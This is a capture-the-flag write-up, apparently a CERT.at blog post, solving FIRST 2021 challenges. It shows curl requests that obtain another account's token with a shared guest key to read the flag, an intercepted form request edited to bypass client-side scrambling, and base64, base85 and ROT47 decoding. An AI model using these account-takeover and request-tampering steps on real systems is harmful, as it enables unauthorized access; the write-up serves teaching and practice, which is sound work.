We started be grabbing a new token from https://[redacted].firstchallenges.ninja/accounts/default/fetchtoken which returns an object of the form {"token": "aaaaaaaaaaaaaaaaaaa-bbbbbbbbbbbbbb-ccccccccccccccccccc"}:

$ curl --location --request POST "https://[redacted].firstchallenges.ninja/accounts/default/fetchtoken" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "id=guest7" \
--data-urlencode "key=rdmCAbYtDD3rnEcPNngjP3Sp3Lft4GYc6nG3mDnq"
{"token": "3230332e302e3131332e3432-677565737435-31363234303036373631"}

The token contains hex encoded values, which contain:

  • 3230332e302e3131332e3432 == 203.0.113.42, this contains our IPv4 address. In the output, we changed this value to an IPv4 address in the 203.0.113.0/24 network which is reserved for documentation.

  • 677565737435 == guest5, i.e. our identity

  • 31363234303036373631 == 1624006761 which is a UNIX timestamp, in this case 2021-06-18T10:59:21+02:00 (we rerun the exercise while writing the documentation, so it’s after the challenge ended).

Using the token we received, we can ask who we are:

$ curl --location --request POST "https://[redacted].firstchallenges.ninja/accounts/default/whoami" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "token=3230332e302e3131332e3432-677565737435-31363234303036373631"
{"identity": "guest5"}

This works as expected. Let’s see who else is on the system:

$ curl --location --request POST "https://[redacted].firstchallenges.ninja/accounts/default/who" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "token=3230332e302e3131332e3432-677565737435-31363234303036373631"
{"guest": {"logged": "961 hours ago", "remote": "[redacted]",
"identity": "guest"}, "guest7": {"logged": "190 hours ago", "remote":
"[redacted]", "identity": "guest7"}, "Admin": {"logged": "231 hours
ago", "remote": "[redacted]", "identity": "Admin"}, "guest6":
{"logged": "235 hours ago", "remote": "[redacted]", "identity":
"guest6"}, "admin": {"logged": "200 hours ago", "remote": "[redacted]",
"identity": "admin"}, "guest4": {"logged": "234 hours ago", "remote":
"[redacted]", "identity": "guest4"}, "guest5": {"logged": "less than
1 hr", "remote": "[redacted]", "identity": "guest5"}, "guest2":
{"logged": "235 hours ago", "remote": "[redacted]", "identity":
"guest2"}, "guest3": {"logged": "189 hours ago", "remote":
"[redacted]", "identity": "guest3"}, "guest1": {"logged": "191 hours
ago", "remote": "[redacted]", "identity": "guest1"}, "first":
{"logged": "20 hours ago", "remote": "[redacted]", "identity":
"first"}}

While we were told that guest accounts have no access to the flag, we still wanted to be sure:

$ curl --location --request POST "https://[redacted].firstchallenges.ninja/accounts/default/flag" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "token=3230332e302e3131332e3432-677565737435-31363234303036373631"
{"forbidden": "You do not have permission to access the flag."}

That was expected. Looking at the who output again, we can see that besides guest accounts, there were also Admin, admin, and first accounts active. As this is the FIRST CTF, we’ll try the first account first. Just changing the account in the token to 6669727374, which is the hex-encoded value of first doesn’t work, but this is expected as we assumed that the tokens are stored somewhere on the server as well.

Hence, we tried to fetch a new token for the first account, using the same key all the guest accounts used:

$ curl --location --request POST "https://[redacted].firstchallenges.ninja/accounts/default/fetchtoken" \
> --header "Content-Type: application/x-www-form-urlencoded" \
> --data-urlencode "id=first" \
> --data-urlencode "key=rdmCAbYtDD3rnEcPNngjP3Sp3Lft4GYc6nG3mDnq"
{"token": "3230332e302e3131332e3432-6669727374-31363234303130383133"}

That seemed to work, so let’s try to get the flag:

$ curl --location --request POST "https://[redacted].firstchallenges.ninja/accounts/default/flag" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "token=3230332e302e3131332e3432-6669727374-31363234303130383133"
{"flag": "92e7f5ed2e6933b47cc494d3eb4d0baf"}

Great, that’s it :)

Intern Dev Tango

A new task, a new URL:

Our new dev intern has completed their first assignment, can you help test it?

A bit of background

The site is very simple, but we are trying to figure out the bugs. Once you find all the bugs we’ll reward you with a shiny challenge flag. You can find the new site at https://[redacted].firstchallenges.ninja/tango and you can use the code FIRST2021 to get past the front door. Good luck!

When visiting the site, we’re greeted with a question “Name a fun FIRST special interest group?". The answer is very likely”seclounge-sig", but when we try to put it in, the letters are completely scrambled. The HTML looks like this:


<html>
  <body>
    <head>
        <meta charset="utf-8">
        <title>Tango</title>
        <script type="module" src="https://cert.at/tango/static/js/question.js"></script>
    </head>
    <main class="maincontent">
      <p classname="inputlabel">Name of a fun FIRST special interest group?</p>
      <form class="inputform" enctype="multipart/form-data" action="/tango/question" method="post">
        <input class="inputfield" type="text" id="code" name="code" placeholder="#########-###" maxlength="15">
        <button class="submitbutton" type="submit">Submit</button>
      </form>
    </main>
  </body>   
  <footer class="pagefooter">
              
  </footer>
</html>

Let’s check what question.js is doing, as this is the most likely culprit for the scrambling:

function getrando(){
  let mc = [];
  for(let i=65; i<91; ++i){
    mc.push(String.fromCharCode(i))
  }

  for(let i=97; i<123; ++i){
    mc.push(String.fromCharCode(i))
  }

  let randoIndex = Math.floor(Math.random() * mc.length);

  return mc[randoIndex]
}


function bechanged(){

  let fin = "";
  for(let i=0; i<9; ++i){
    fin += getrando();
  }

  fin += "-"

  for(let i=0; i<3; ++i){
    fin += getrando();
  }

  let orig = document.querySelector(".maincontent .inputform .inputfield");
  orig.value=fin;
}

let tchnge = document.querySelector(".maincontent .inputform .inputfield");
tchnge.addEventListener("keyup", bechanged, false);

Well, okay, that explains things :D We fired up ZAP and looked at the request:

POST https://[redacted].firstchallenges.ninja/tango/question HTTP/1.1
User-Agent: [redacted]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: multipart/form-data; boundary=---------------------------4660448215033997732555194938
Content-Length: 182
Origin: https://[redacted].firstchallenges.ninja
Connection: keep-alive
Referer: https://[redacted].firstchallenges.ninja/tango/question
Cookie: session_id_tango=[redacted]
Upgrade-Insecure-Requests: 1
Host: [redacted].firstchallenges.ninja

-----------------------------4660448215033997732555194938
Content-Disposition: form-data; name="code"

UzDjBDxSu-twr
-----------------------------4660448215033997732555194938--

So, we changed it to

POST https://[redacted].firstchallenges.ninja/tango/question HTTP/1.1
User-Agent: [redacted]
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Content-Type: multipart/form-data; boundary=---------------------------4660448215033997732555194938
Content-Length: 182
Origin: https://[redacted].firstchallenges.ninja
Connection: keep-alive
Referer: https://[redacted].firstchallenges.ninja/tango/question
Cookie: session_id_tango=[redacted]
Upgrade-Insecure-Requests: 1
Host: [redacted].firstchallenges.ninja

-----------------------------4660448215033997732555194938
Content-Disposition: form-data; name="code"

seclounge-sig
-----------------------------4660448215033997732555194938--

and resent it. The HTML response said:


<html>
  <body><script src="https://[redacted].firstchallenges.ninja/zapCallBackUrl/-6222965360475529933/inject.js"></script>

    <head>
        <meta charset="utf-8">
        <title>Tango</title>
    </head>
    <main class="maincontent">
      <h2 class="headinglabel">HERE IS YOUR CHALLENGE FLAG</h>
        <div class="minstyle">
          <div class="sumting">
            <div class="tis">
              <div class="buried">
                <div class="there">
                  <p class=incontents>339636a5b9df27dd15704828f5c10037e8334099</p>
                </div>
              </div>
            </div>
          </div>
        </div>
    </main>
  </body>
</html>

And there we go \o/

Cryptography

This section contained three challenges which we all solved. It was a bit disappointing, as it was not really about crypto but just about encodings.

Decode

Task:

Decode:

VGhlIGZsYWcgZm9yIHRoaXMgY2hhbGxlbmdlcyBpczogV0x1Qklkd09qN2tzV05neVZuemhOVkphSmdUdXc0SUUK

Well,

$ echo "VGhlIGZsYWcgZm9yIHRoaXMgY2hhbGxlbmdlcyBpczogV0x1Qklkd09qN2tzV05neVZuemhOVkphSmdUdXc0SUUK" | base64 -d
The flag for this challenges is: WLuBIdwOj7ksWNgyVnzhNVJaJgTuw4IE

Decode 2

Task:

<~<+ohcAo(mg+D,P4+EV:2F!+t+@;KakDJ*N’Blc<XE‘>"c8nW-:=&hV$C,g&fAp$l8nt78nULN7osSM$3~>

As we had no base85 utilities installed per default on our machines, we just used CyberChef and got:

The flag for this challenge is: rT8CJgqKWUChj8m5fu96JhNjJgC8GWnt

Decode 3

Task:

%96 7=28 7@C E9:D 492==6?86 :Di E?K_#8?F!wxss8AI’$GAv4wx)zp>K!r_

Luckily, we didn’t have to search long for this, as one of us recently had to write encoding and decoding for ROT47 and immediately recognized the pattern, so we again turned to CyberChef to get the flag:

The flag for this challenge is: tnz0RgnuPHIDDgpxVSvpGcHIXKAmzPC0

  1. The _ characters seem to be oledump.py’s way of indicating a linebreak.


This blog post is part of a series of blog posts related to our CEF Telecom 2018-AT-IA-0111 project, which also supports our participation in the CSIRTs Network.

Co-financed by the European Union Connecting Europe Facility

Written by: Thomas Pribitzer, Dimitri Robl, Sebastian Waldbauer